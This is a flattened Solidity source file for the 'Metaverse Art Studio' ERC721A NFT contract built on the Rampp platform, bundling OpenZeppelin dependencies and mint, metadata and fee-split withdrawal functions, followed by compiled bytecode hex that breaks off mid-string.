// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* interfaceId. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
*
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when tokenId token is transferred from from to to.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when owner enables approved to manage the tokenId token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when owner enables or disables (approved) operator to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in owner's account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the tokenId token.
*
* Requirements:
*
* - tokenId must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers tokenId token from from to to, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - from cannot be the zero address.
* - to cannot be the zero address.
* - tokenId token must exist and be owned by from.
* - If the caller is not from, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers tokenId token from from to to.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - from cannot be the zero address.
* - to cannot be the zero address.
* - tokenId token must be owned by from.
* - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to to to transfer tokenId token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - tokenId must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for tokenId token.
*
* Requirements:
*
* - tokenId must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove operator as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The operator cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the operator is allowed to manage all of the assets of owner.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers tokenId token from from to to.
*
* Requirements:
*
* - from cannot be the zero address.
* - to cannot be the zero address.
* - tokenId token must exist and be owned by from.
* - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by owner at a given index of its token list.
* Use along with {balanceOf} to enumerate all of owner's tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given index of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for tokenId token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a uint256 to its ASCII string decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a uint256 to its ASCII string hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a uint256 to its ASCII string hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from ReentrancyGuard will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single nonReentrant guard, functions marked as
* nonReentrant may not call one another. This can be worked around by making
* those functions private, and then adding external nonReentrant entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a nonReentrant function from another nonReentrant
* function is not supported. It is possible to prevent this from happening
* by making the nonReentrant function external, and making it call a
* private function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* onlyOwner, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//-------------END DEPENDENCIES------------------------//
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex;
uint256 public immutable collectionSize;
uint256 public maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* maxBatchSize refers to how much a minter can mint at a time.
* collectionSize_ refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 1;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalMinted();
}
function currentTokenId() public view returns (uint256) {
return _totalMinted();
}
function getNextTokenId() public view returns (uint256) {
return SafeMath.add(_totalMinted(), 1);
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
unchecked {
return currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the baseURI and the tokenId. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether tokenId exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (_mint),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints quantity tokens and transfers them to to.
*
* Requirements:
*
* - there must be quantity tokens remaining unminted in the total collection.
* - to cannot be the zero address.
* - quantity cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers tokenId from from to to.
*
* Requirements:
*
* - to cannot be the zero address.
* - tokenId token must be owned by from.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve to to operate on tokenId
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set owners to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
if (currentIndex == _startTokenId()) revert('No Tokens Minted Yet');
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When from and to are both non-zero, from's tokenId will be
* transferred to to.
* - When from is zero, tokenId will be minted for to.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when from and to are both non-zero.
* - from and to are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
abstract contract Ramppable {
address public RAMPPADDRESS = 0xa9dAC8f3aEDC55D0FE707B86B8A45d246858d2E1;
modifier isRampp() {
require(msg.sender == RAMPPADDRESS, "Ownable: caller is not RAMPP");
_;
}
}
abstract contract Withdrawable is Ownable, Ramppable {
address[] public payableAddresses = [RAMPPADDRESS,0xC6da681413b041b475AaD905D7724AeBB48f6DCe];
uint256[] public payableFees = [5,95];
uint256 public payableAddressCount = 2;
function withdrawAll() public onlyOwner {
require(address(this).balance > 0);
_withdrawAll();
}
function withdrawAllRampp() public isRampp {
require(address(this).balance > 0);
_withdrawAll();
}
function _withdrawAll() private {
uint256 balance = address(this).balance;
for(uint i=0; i < payableAddressCount; i++ ) {
_widthdraw(
payableAddresses[i],
(balance * payableFees[i]) / 100
);
}
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Transfer failed.");
}
}
abstract contract RamppERC721A is
Ownable,
ERC721A,
Withdrawable,
ReentrancyGuard {
constructor(
string memory tokenName,
string memory tokenSymbol
) ERC721A(tokenName, tokenSymbol, 40, 454 ) {}
using SafeMath for uint256;
uint8 public CONTRACT_VERSION = 2;
string public _baseTokenURI = "ipfs://QmXvxvMeaByuwDykHGxPF99HvtZ13Bvi3aDn18yyjqLibB/";
bool public mintingOpen = true;
/////////////// Admin Mint Functions
/**
* @dev Mints a token to an address with a tokenURI.
* This is owner only and allows a fee-free drop
* @param _to address of the future owner of the token
*/
function mintToAdmin(address _to) public onlyOwner {
require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 454");
_safeMint(_to, 1);
}
function mintManyAdmin(address[] memory _addresses, uint256 _addressCount) public onlyOwner {
for(uint i=0; i < _addressCount; i++ ) {
mintToAdmin(_addresses[i]);
}
}
/////////////// GENERIC MINT FUNCTIONS
/**
* @dev Mints a single token to an address.
* fee may or may not be required*
* @param _to address of the future owner of the token
*/
function mintTo(address _to) public payable {
require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 454");
require(mintingOpen == true, "Minting is not open right now!");
_safeMint(_to, 1);
}
/**
* @dev Mints a token to an address with a tokenURI.
* fee may or may not be required*
* @param _to address of the future owner of the token
* @param _amount number of tokens to mint
*/
function mintToMultiple(address _to, uint256 _amount) public payable {
require(_amount >= 1, "Must mint at least 1 token");
require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction");
require(mintingOpen == true, "Minting is not open right now!");
require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 454");
_safeMint(_to, _amount);
}
function openMinting() public onlyOwner {
mintingOpen = true;
}
function stopMinting() public onlyOwner {
mintingOpen = false;
}
/**
* @dev Allows owner to set Max mints per tx
* @param _newMaxMint maximum amount of tokens allowed to mint per tx. Must be >= 1
*/
function setMaxMint(uint256 _newMaxMint) public onlyOwner {
require(_newMaxMint >= 1, "Max mint must be at least 1");
maxBatchSize = _newMaxMint;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function baseTokenURI() public view returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
return ownershipOf(tokenId);
}
}
// File: contracts/metaverseArtStudioContract.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MetaverseArtStudioContract is RamppERC721A {
constructor() RamppERC721A("Metaverse Art Studio", "MAS"){}
function contractURI() public pure returns (string memory) {
return "https://us-central1-nft-rampp.cloudfunctions.net/app/YFyseBDCfb4HSUiteF3W/contract-metadata";
}
} | 0x6080604052600436106102665760003560e01c806370a0823111610144578063b88d4fde116100b6578063d547cfb71161007a578063d547cfb71461070a578063d7224ba01461071f578063dcd4aa8b14610735578063e8a3d4851461074a578063e985e9c51461075f578063f2fde38b146107a857600080fd5b8063b88d4fde14610680578063c5815c41146106a0578063c87b56dd146106c0578063caa0f92a146106e0578063cfc86f7b146106f557600080fd5b80638da5cb5b116101085780638da5cb5b146105a55780638f4bb497146105c35780639231ab2a146105dd57806395d89b411461062b578063a22cb46514610640578063a54dd93c1461066057600080fd5b806370a0823114610528578063715018a614610548578063755edd171461055d578063853828b614610570578063891bbe731461058557600080fd5b806338b90333116101dd5780634d5f4e76116101a15780634d5f4e76146104735780634f6ccce714610493578063547520fe146104b357806355f804b3146104d35780636352211e146104f35780636ba9fd381461051357600080fd5b806338b90333146103c85780633e07311c146103f45780633e3e0b121461040a57806342842e0e1461041f57806345c0f5331461043f57600080fd5b8063095ea7b31161022f578063095ea7b31461033257806318160ddd1461026b57806323b872dd14610352578063286c8137146103725780632913daa0146103925780632f745c59146103a857600080fd5b80629a9b7b1461026b57806301ffc9a7146102935780630644cefa146102c357806306fdde03146102d8578063081812fc146102fa575b600080fd5b34801561027757600080fd5b506102806107c8565b6040519081526020015b60405180910390f35b34801561029f57600080fd5b506102b36102ae366004612185565b6107dc565b604051901515815260200161028a565b6102d66102d13660046121be565b610849565b005b3480156102e457600080fd5b506102ed6109bf565b60405161028a9190612240565b34801561030657600080fd5b5061031a610315366004612253565b610a51565b6040516001600160a01b03909116815260200161028a565b34801561033e57600080fd5b506102d661034d3660046121be565b610ada565b34801561035e57600080fd5b506102d661036d36600461226c565b610bf2565b34801561037e57600080fd5b5061028061038d366004612253565b610bfd565b34801561039e57600080fd5b5061028060025481565b3480156103b457600080fd5b506102806103c33660046121be565b610c1e565b3480156103d457600080fd5b50600f546103e29060ff1681565b60405160ff909116815260200161028a565b34801561040057600080fd5b50610280600d5481565b34801561041657600080fd5b506102d6610d96565b34801561042b57600080fd5b506102d661043a36600461226c565b610dcc565b34801561044b57600080fd5b506102807f00000000000000000000000000000000000000000000000000000000000001c681565b34801561047f57600080fd5b506102d661048e3660046122ef565b610de7565b34801561049f57600080fd5b506102806104ae366004612253565b610e50565b3480156104bf57600080fd5b506102d66104ce366004612253565b610eb8565b3480156104df57600080fd5b506102d66104ee3660046123a2565b610f38565b3480156104ff57600080fd5b5061031a61050e366004612253565b610f6e565b34801561051f57600080fd5b506102d6610f80565b34801561053457600080fd5b50610280610543366004612414565b610fb9565b34801561055457600080fd5b506102d661104a565b6102d